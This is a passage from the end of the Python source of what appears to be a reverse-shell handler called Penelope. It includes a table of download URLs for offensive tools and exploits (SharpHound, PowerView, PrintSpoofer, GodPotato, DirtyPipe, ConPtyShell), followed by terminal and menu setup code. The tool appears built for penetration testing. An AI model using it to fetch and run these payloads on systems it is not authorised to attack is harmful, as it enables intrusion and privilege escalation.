"https://github.com/SpecterOps/SharpHound/releases/download/v2.13.0/SharpHound_v2.13.0_windows_x86.zip", 'powerview': "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1", 'sharpweb': "https://github.com/djhohnstein/SharpWeb/releases/download/v1.2/SharpWeb.exe", 'ghostpack': "https://codeload.github.com/r3motecontrol/Ghostpack-CompiledBinaries/zip/20a5f0a81456358b2bdc9846774949a7fb25acd8", 'adpeas': "https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1", 'conptyshell': "https://raw.githubusercontent.com/antonioCoco/ConPtyShell/refs/heads/master/Invoke-ConPtyShell.ps1", 'godpotato': "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe", 'sigmapotato': "https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe", 'printspoofer64': "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe", 'printspoofer32': "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe", 'dirtyfrag': "https://raw.githubusercontent.com/V4bel/dirtyfrag/refs/heads/master/exp.c", 'dirtypipe_zip': "https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/archive/refs/heads/main.zip", 'fullpowers': "https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe", 'enablealltokenprivs': "https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/3f108e80d6c460a2e554b18e9d3391d976b93ed2/EnableAllTokenPrivs.ps1", } PYTHON_STANDALONE_BINARIES = { ('Linux', 'x86_64', 'glibc'): 'python_linux_x86_64_glibc', ('Linux', 'x86_64', 'musl'): 'python_linux_x86_64_musl', ('Linux', 'aarch64', 'glibc'): 'python_linux_aarch64_glibc', ('Linux', 'aarch64', 'musl'): 'python_linux_aarch64_musl', ('Darwin', 'x86_64'): 'python_macos_x86_64', ('Darwin', 'arm64'): 'python_macos_aarch64', } EMOJIS = { 'folder':'📁', 'file':'📄', 'invalid_shell':'🙄', 'new_shell':'😍️', 'target':'🎯', 'upgrade':'💪', 'logfile':'📜', 'lost':'💔', 'home':'🏠', 'bug':'🐞', 'skull':'💀', 'refresh':'🔄', 'cancel':'🚫', 'no_sessions':'😟', 'user':'👤', 'agent': '⭐' } # Python Agent code GET_GLOB_SIZE = inspect.getsource(get_glob_size) MESSENGER = inspect.getsource(Messenger) STREAM = inspect.getsource(Stream) AGENT = inspect.getsource(agent) # Python modifications original_input = input input = my_input sys.excepthook = custom_excepthook threading.excepthook = custom_excepthook tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT os.umask(0o007) signal.signal(signal.SIGWINCH, WinResize) keyboard_interrupt = signal.getsignal(signal.SIGINT) try: import readline readline_basic_quote_chars = None if getattr(readline, 'backend', '') == 'editline' or 'libedit' in (readline.__doc__ or ''): readline.parse_and_bind("bind ^I rl_complete") else: readline.parse_and_bind("tab: complete") try: import ctypes _readline_empty_quote_chars = ctypes.create_string_buffer(b'') readline_basic_quote_chars = ctypes.c_void_p.in_dll( ctypes.CDLL(readline.__file__), 'rl_basic_quote_characters' ) except (AttributeError, OSError, ValueError): pass default_readline_delims = readline.get_completer_delims() except ImportError: readline = None readline_basic_quote_chars = None default_readline_delims = None def _restore_terminal(): try: restore_tty() os.write(sys.stdout.fileno(), b"\x1b[?25h") except Exception: pass atexit.register(_restore_terminal) ## Create basic objects core = Core() menu = MainMenu(histfile=options.cmd_histfile, histlen=options.histlength) start = menu.start Listener = TCPListener _EMOJIS_FULL = EMOJIS if not options.emojis: EMOJIS = defaultdict(str) # Load peneloperc load_rc() if __name__ == "__main__": main()